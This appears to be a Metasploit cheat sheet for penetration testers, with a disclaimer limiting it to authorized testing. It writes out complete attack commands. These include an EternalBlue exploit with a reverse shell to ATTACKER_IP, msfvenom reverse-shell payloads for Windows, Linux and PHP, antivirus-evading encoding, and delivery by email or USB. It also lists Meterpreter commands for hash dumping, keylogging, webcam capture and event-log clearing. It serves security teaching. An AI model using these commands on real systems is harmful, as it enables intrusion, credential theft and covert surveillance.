Metasploit
Table of Contents
- Introduction to Metasploit
- Metasploit Framework
- Using msfconsole
- Working with Modules
- Direct Exploit vs. Uploading a Payload
- The Metasploit Database
- Msfvenom
- Meterpreter
- Built-in Commands Categories
- Glossary
- Disclaimer
1. Introduction to Metasploit
Metasploit is a powerful and versatile framework used for penetration testing, security research, and vulnerability assessment. It provides tools to discover, exploit, and validate vulnerabilities in systems, making it an essential asset for security professionals. Metasploit modules are prebuilt scripts (often referred to as “proof-of-concept” code) that can be used to exploit existing vulnerabilities in a largely automated manner.
Important Note
A failed exploit does not necessarily mean the suspected vulnerability does not exist. Many Metasploit exploits need customization before use. Automated tools like Metasploit should support (not replace) manual testing skills.
2. Metasploit Framework
The Metasploit Framework is an open-source platform that allows security experts to develop, test, and execute exploit code. It offers a comprehensive suite of tools, including exploit modules, payloads, and auxiliary modules, enabling users to simulate real-world attacks on networks and applications.
2.1. Main Components of the Metasploit Framework
-
msfconsole
The main command-line interface of Metasploit. It is the most commonly used interface for accessing and interacting with the Metasploit Framework. Through msfconsole, users can configure and execute exploits, payloads, and auxiliary modules. -
Modules
Metasploit includes various modules:- Exploits: Code that takes advantage of vulnerabilities to gain unauthorized access.
- Payloads: Code that executes after a successful exploit, giving the attacker control.
- Auxiliary Modules: Additional capabilities (scanners, fuzzers, DoS tools, etc.).
- Encoders: Tools to encode exploits/payloads to evade signature-based detection.
- Evasion: Modules with more sophisticated techniques than simple encoders.
- NOPs: No-operation instructions to pad or align payloads in memory.
- Post: Modules for post-exploitation tasks (gather information, pivot, maintain access, etc.).
-
Tools
Metasploit comes with standalone tools such as msfvenom (payload generation) and developer tools like pattern_create and pattern_offset for crafting or debugging exploits.
3. Using msfconsole
To launch Metasploit:
msfconsole
3.1. Core Concepts and Examples
-
Running Commands
msf6 > pwd [*] exec: pwd /home/user
msf6 > uname -a [*] exec: uname -a Linux kernel_version #1 SMP date arch GNU/Linux
-
Help Command
msf6 > help search Usage: search [keywords]
-
History Command
msf6 > history 1 use exploit/multi/handler 2 set payload windows/meterpreter/reverse_tcp 3 set lhost ATTACKER_IP 4 set lport 4444 5 exploit
-
Tab Completion
Press Tab to autocomplete commands, module names, and other values. -
Context Management
Metasploit settings are typically module-specific. If you switch modules, your set parameters will not carry over unless configured as global parameters. -
Show Options
msf6 exploit(unix/ftp/vsftpd_234_backdoor) > show options
-
Back Command
msf6 exploit(unix/ftp/vsftpd_234_backdoor) > back msf6 >
-
Info Command
msf6 exploit(unix/ftp/vsftpd_234_backdoor) > info
-
Search Command
msf6 > search vsftpd msf6 > search type:exploit platform:windows
4. Working with Modules
4.1. Overview of Metasploit Modules
Metasploit modules are segregated by their type, OS, service, and purpose. Some of these module types include:
Type | Description |
---|---|
auxiliary | Scanning, fuzzing, sniffing, admin capabilities, or other extra functionalities |
encoders | Ensure the payloads reach the target intact (basic obfuscation) |
exploits | Code that exploits a vulnerability to deliver a payload |
nops | (No-Operation code) Maintains consistent payload sizes |
payloads | Code that runs on the target after successful exploitation (reverse shells, bind shells, etc.) |
plugins | Additional scripts integrated into msfconsole |
post | Post-exploitation modules for gathering information or pivoting |
Not all module types are directly “usable” as exploit modules. Modules that typically begin an interaction (or an attack) include:
- auxiliary
- exploit
- post
Tip
Use the module index number (the No. tag in searches) to speed up module selection. Instead of typinguse exploit/windows/smb/some_module
, you can justuse <index>
.
4.2. Searching for Modules
Metasploit provides a robust search function with many filter options:
msf6 > help search
Usage: search [<options>] [<keywords>:<value>]
Prepending a value with '-' will exclude any matching results.
If no options or keywords are provided, cached results are displayed.
OPTIONS:
-h Show this help information
-o <file> Send output to a file in csv format
-S <string> Regex pattern used to filter search results
-u Use module if there is one result
-s <search_column> Sort the research results based on <search_column> in ascending order
-r Reverse the search results order to descending order
Keywords:
aka, author, arch, bid, cve, edb, check, date, description, fullname, mod_time,
name, path, platform, port, rank, ref, reference, target, type
Supported search columns:
rank, date, disclosure_date, name, type, check
Examples:
search cve:2009 type:exploit
search cve:2009 type:exploit platform:-linux
search cve:2009 -s name
search type:exploit -s type -r
Example 1: Searching for EternalRomance
msf6 > search eternalromance
Matching Modules
================
# Name Disclosure Date Rank Check Description
-- ---- --------------- ---- ----- -----------
0 exploit/windows/smb/ms17_010_psexec 2017-03-14 normal Yes MS17-010 ...
1 auxiliary/admin/smb/ms17_010_command 2017-03-14 normal No MS17-010 ...
Narrowing the search to only exploits:
msf6 > search eternalromance type:exploit
Example 2: Searching by CVE, OS, and Rank
msf6 > search type:exploit platform:windows cve:2021 rank:excellent microsoft
4.3. Entering Module Context
use exploit/linux/http/apache_mod_cgi_bash_env_exec
show options
Or **use
msf6 > search apache
... [List of Modules] ...
msf6 > use 12
4.4. Setting Parameters
set RHOSTS TARGET_IP
set RPORT 8080
Use info
to get more details:
msf6 exploit(windows/smb/ms17_010_psexec) > info
4.5. Common and Global Parameters
- RHOSTS: Target IP or IP range
- RPORT: Target port
- PAYLOAD: Payload used by the exploit
- LHOST: Attacker IP for reverse connections
- LPORT: Attacker’s listening port for reverse connections
To make settings global:
setg RHOSTS TARGET_IP
4.6. Clearing Parameters
unset RHOSTS
unset all
4.7. Running Modules
exploit
or run in the background:
exploit -z
4.8. Sessions
When an exploit succeeds, a session (Meterpreter or command shell) is opened:
sessions
sessions -i 1
To background a session:
meterpreter > background
4.9. Important Module Options
Within each module, you’ll find options such as:
Option | Description |
---|---|
RHOSTS / RHOST | Target IP address(es) |
RPORT | Target port |
LHOST | Local (attacker) IP address for reverse connections |
LPORT | Local (attacker) port |
PAYLOAD | Which payload to use |
TARGET | Target system (often an index within the module for specific OS) |
VERBOSE | Increases the verbosity of output |
SSL | Use HTTPS/SSL for some modules if applicable |
5. Direct Exploit vs. Uploading a Payload
5.1. Direct Exploit
When a well-known vulnerability can be exploited in a single step, use a direct exploit:
use exploit/windows/smb/ms17_010_eternalblue
set RHOSTS TARGET_IP
set PAYLOAD windows/x64/meterpreter/reverse_tcp
set LHOST ATTACKER_IP
set LPORT 4444
exploit
5.2. Uploading a Payload
If an automated network-based exploit is not reliable or unavailable, consider creating a payload and manually uploading it (social engineering, drive-by download, removable media, etc.):
-
Generate the payload with msfvenom:
msfvenom -p windows/x64/meterpreter_reverse_tcp LHOST=ATTACKER_IP LPORT=4444 -f exe -o my_payload.exe
-
Upload the payload to the target (e.g., via SMB, FTP, or any file transfer method).
-
Set up a listener:
use exploit/multi/handler set PAYLOAD windows/x64/meterpreter_reverse_tcp set LHOST ATTACKER_IP set LPORT 4444 exploit
-
Execute the payload on the target to receive the reverse shell.
5.3. Using Multi/Handler
If you only need a listener for a payload you generate outside Metasploit:
use exploit/multi/handler
set PAYLOAD windows/x64/meterpreter_reverse_tcp
set LHOST ATTACKER_IP
set LPORT 4444
exploit
6. The Metasploit Database
6.1. Setting Up the Database
msf6 > db_init
msf6 > db_status
[*] Connected to msf. Connection type: postgresql.
6.2. Core Concepts
- Hosts and Services: Information about discovered hosts/services.
- Vulnerabilities: Tracks vulnerabilities found.
- Loot: Stores valuable data or files extracted during engagement.
7. Msfvenom
msfvenom
merges the functionality of msfpayload and msfencode. It’s used to craft and optionally encode payloads in various formats.
7.1. Core Concepts
- Payloads: The code that executes on the target after a successful exploit.
- Encoders: Obfuscate payloads to evade rudimentary AV/detection.
- Formats: Output file type (
exe
,elf
,dll
,aspx
,raw
, etc.).
7.2. Basic Usage
msfvenom -p PAYLOAD OPTIONS -e ENCODER -f FORMAT -o OUTPUT_FILE
Example:
msfvenom -p windows/meterpreter/reverse_tcp LHOST=ATTACKER_IP LPORT=4444 -f exe -o shell.exe
7.3. Staged vs. Stageless Payloads
- Staged Payloads
- Send a small loader first; the loader fetches the final stage.
- Often named with multiple slashes, e.g.,
windows/meterpreter/reverse_tcp
.
- Stageless Payloads
- Single artifact with all the code included.
- Typically appear as
windows/meterpreter_reverse_tcp
(one segment).
7.4. Building and Delivering Payloads
Craft a custom payload when direct exploitation is not feasible. Deliver it via social engineering, an internal network share, removable media, etc.
7.4.1. Generating a Stageless Payload for Linux
msfvenom -p linux/x64/shell_reverse_tcp LHOST=ATTACKER_IP LPORT=4444 -f elf > backup.elf
- Transfer the ELF to the target.
- Set the file as executable (
chmod +x backup.elf
). - Listen on the attacker machine.
- Run
backup.elf
on the target to get a reverse shell.
7.4.2. Generating a Stageless Payload for Windows
msfvenom -p windows/shell_reverse_tcp LHOST=ATTACKER_IP LPORT=4444 -f exe > file.exe
- Deliver
file.exe
(email, web link, USB, etc.). - Launch a listener with multi/handler or
nc
. - Execute
file.exe
on the target.
7.4.3. Delivery Methods and Execution
- Email or Chat: Attach or link the payload.
- Web Server Download: Host the payload on a server.
- Removable Media: Copy onto a flash drive.
- Physical Access: Manually place and execute payload on the target machine.
7.4.4. Encoding and AV Evasion
Basic example with Shikata Ga Nai:
msfvenom -p windows/meterpreter/reverse_tcp LHOST=ATTACKER_IP LPORT=4444 \
-e x86/shikata_ga_nai -i 5 -f exe -o encoded_payload.exe
-e
: Encoder-i
: Iterations
Modern AV often detects default Metasploit signatures. Consider additional obfuscation or evasion modules (evasion/windows/*
).
7.5. Additional Msfvenom Examples
-
Raw Shellcode (C Format)
msfvenom -p linux/x86/shell_reverse_tcp LHOST=ATTACKER_IP LPORT=4444 -f c -o shellcode.c
-
PHP Reverse Shell
msfvenom -p php/reverse_php LHOST=ATTACKER_IP LPORT=4444 -f raw -o shell.php
-
List All Payloads
msfvenom -l payloads
7.6. Important Msfvenom Options
Option | Description |
---|---|
-p PAYLOAD | Specifies the payload (e.g., windows/meterpreter/reverse_tcp ). |
-f FORMAT | Output format (exe , elf , raw , c , php , asp , aspx , etc.). |
-o FILENAME | Output file name. |
LHOST | Attacker IP (for reverse) or IP to bind (for bind shells). |
LPORT | Attacker port (for reverse) or port to bind (for bind shells). |
-e ENCODER | Specify the encoder (e.g., x86/shikata_ga_nai ). |
-i ITERATIONS | Number of times to encode. |
-x TEMPLATE | Use an existing executable template to generate the new payload. |
–platform | Force the platform of the generated payload (win , linux , java ). |
-a ARCH | Specify architecture (x86 , x64 , armle , etc.). |
–encrypt / –encrypt-key / –encrypt-iv |
Apply encryption to the generated payload (if supported). |
–list-options | Lists the requirements for the selected payload. |
8. Meterpreter
Meterpreter is an advanced, in-memory payload with extensive post-exploitation capabilities. It’s stealthy, can be dynamically extended, and offers more functionality than a standard shell.
8.1. Meterpreter Commands
Categories of Meterpreter commands:
- Core (help, background, sessions)
- File System (ls, cd, upload, download)
- Networking (ifconfig, netstat, portfwd, route)
- System (getuid, getsystem, migrate, ps, shell)
- Keylogging and Screen (keyscan_start, screenshot, record_mic, webcam_snap)
Example usage:
meterpreter > ps
meterpreter > migrate <PROCESS_ID>
meterpreter > getuid
meterpreter > hashdump
8.2. Practical Workflow
-
Get Current User:
meterpreter > getuid
-
List Processes:
meterpreter > ps
-
Migrate to Another Process:
meterpreter > migrate <PROCESS_ID>
-
Dump Password Hashes:
meterpreter > hashdump
-
Obtain a Shell:
meterpreter > shell
9. Built-in Commands Categories
- Core Commands
- File System Commands
- Networking Commands
- System Commands
- User Interface Commands
- Webcam Commands
- Audio Output Commands
- Elevate Commands
- Password Database Commands
- Timestomp Commands
10. Glossary
Command | Description |
---|---|
background | Backgrounds the current session |
exit | Terminates the Meterpreter session |
help | Displays the help menu |
irb | Opens an interactive Ruby shell on the current session |
load | Loads one or more Meterpreter extensions |
migrate | Moves Meterpreter into another process |
run | Runs a Meterpreter script or a Post module |
sessions | Lists or switches to an active session |
cd, ls, pwd | Typical file system navigation commands |
upload, download | Moves files to/from the target system |
ifconfig, netstat | Displays network interface or connection info |
portfwd | Forwards a local port to a remote service |
clearev | Clears Windows event logs |
execute | Executes a command on the target system |
getpid, getuid | Shows current process ID / user ID |
ps, kill | Lists or terminates processes |
shell | Spawns a standard command shell on the target |
keyscan_start, keyscan_stop, keyscan_dump | Keylogging commands |
screenshare, screenshot | Monitor or capture the target’s screen |
record_mic | Records audio from the target’s microphone |
webcam_list, webcam_snap, webcam_stream | Interact with target’s webcam |
getsystem | Attempts privilege escalation to SYSTEM (Windows) |
hashdump | Dumps Windows password hashes from the SAM database |
loot | Refers to hash dumps from different system types, namely hashes, passwd, shadow, and more |
loot -h | Lists info for loot options |
11. Disclaimer
This guide is for educational and authorized penetration testing purposes only. Always ensure you have explicit permission to test or perform any type of exploit or intrusion on a network or device. Unauthorized access is illegal and unethical, and may violate applicable laws and regulations.